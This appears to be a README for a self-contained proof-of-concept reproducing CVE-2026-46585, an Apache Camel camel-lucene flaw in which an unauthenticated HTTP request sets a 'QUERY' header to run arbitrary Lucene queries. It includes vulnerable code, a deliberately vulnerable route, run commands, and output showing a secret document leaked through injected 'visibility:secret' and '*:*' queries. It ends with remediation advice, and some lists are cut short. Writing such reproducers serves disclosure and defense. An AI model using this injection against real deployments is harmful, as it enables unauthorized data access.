
Reproducer for CVE-2026-46585: Apache Camel camel-lucene QUERY header injection enabling authorization bypass / index data exfiltration (fixed in 4.14.8/4.18.3/4.21.0)
QUERY Header Injection Reproducer (CVE-2026-46585)This project demonstrates a message-header injection / authorization bypass in Apache Camel's camel-lucene
component, tracked as CVE-2026-46585. The Lucene query producer reads the full-text search phrase from an
Exchange header, but the header's name was the plain string QUERY (and RETURN_LUCENE_DOCS for the
docs flag). Because these names do not start with the Camel / camel prefix, HttpHeaderFilterStrategy —
which blocks only the Camel header namespace at the HTTP boundary — let them pass from an inbound HTTP request
straight into the Exchange. Any HTTP client hitting a route that exposes a Lucene query behind an HTTP consumer
can therefore set the QUERY header and have its value executed against the index, overriding the query the
route intended to run.
This PoC demonstrates the impact as authorization bypass / data exfiltration: an unauthenticated client injects raw Lucene query syntax to read a document the public search endpoint was never meant to return (and a match-all query dumps the entire index).
Advisory: https://camel.apache.org/security/CVE-2026-46585.html
| Property | Value |
|---|---|
| Component | camel-lucene |
| Affected Class | org.apache.camel.component.lucene.LuceneQueryProducer reading LuceneConstants.HEADER_QUERY (value "QUERY") |
| CWE | CWE-20 (Improper Input Validation) / CWE-639 (Authorization Bypass Through User-Controlled Key) |
| Impact | An HTTP client sets the QUERY header → arbitrary Lucene query executed → read documents outside the intended scope, or CPU-heavy regex queries |
| Preconditions | A route exposes a lucene:...:query producer behind an HTTP consumer (e.g. platform-http); unauthenticated when the consumer is |
| Affected Versions | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23509 |
| Credit | Andrea Cosentino (Apache Software Foundation) and Yu Bao (PayPal) |
Same header-injection family as CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 and CVE-2026-46457, and shares the non-
Camel-prefixed header-constant root cause with the camel-elasticsearchSEARCH_QUERYsibling.
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // attacker-controlled
}
LuceneSearcher parses the phrase with a classic QueryParser("contents", analyzer), so the attacker gets full
Lucene query syntax: fielded terms (visibility:secret), match-all (*:*), wildcards, and expensive regular
expressions.
The fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) renames the header values to the Camel convention —
HEADER_QUERY from QUERY to CamelLuceneQuery, and HEADER_RETURN_LUCENE_DOCS to
CamelLuceneReturnLuceneDocs — so they are filtered on the HTTP boundary like every other Camel control header.
The constant field names are unchanged (routes referencing LuceneConstants.HEADER_QUERY keep working); it is a
breaking change only for routes that set/read these headers by their raw string value.
from("platform-http:/search")
.removeHeaders("Camel*") // documented hardening — see below
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
The route author's security model is "this endpoint only serves public search". As documented hardening the
route even strips the Camel control-header namespace at the edge with removeHeaders("Camel*"). That does not
help: the control header is named QUERY, not CamelLuceneQuery, so it is stripped by neither that call nor
the built-in HTTP header filter — which is exactly the point of the CVE (and exactly what the fix's rename
addresses).
The index contains three public documents plus one secret document tagged visibility:secret whose body carries
a benign flag marker. A normal public search (QUERY=onboarding, a plain term against the default contents
field) never returns it; an injected fielded query does.
The victim is the Camel search route and its index; the attacker is an unauthenticated HTTP client that only sets a request header. Everything runs in a single self-contained app.
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # registers the index directory as a Camel bean (#kbIndexDir)
│ ├── IndexBootstrap.java # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # attacker: GET /search with an injected QUERY header
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
The legitimate term search returns only public documents. The attack request — differing only by the value of a single header the framework should have filtered — reads the secret document, and a match-all query returns the entire index.
Any route with a lucene:...:query producer reachable from an HTTP consumer. Beyond reading unintended
documents, the attacker can:
*:* or a different field predicate (authorization
bypass).Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509). After upgrading, routes that set the query via the raw
header name must use CamelLuceneQuery (and CamelLuceneReturnLuceneDocs) instead of QUERY /
RETURN_LUCENE_DOCS; these Camel-namespaced names are filtered at the HTTP boundary like every other control
header.
Until upgrading: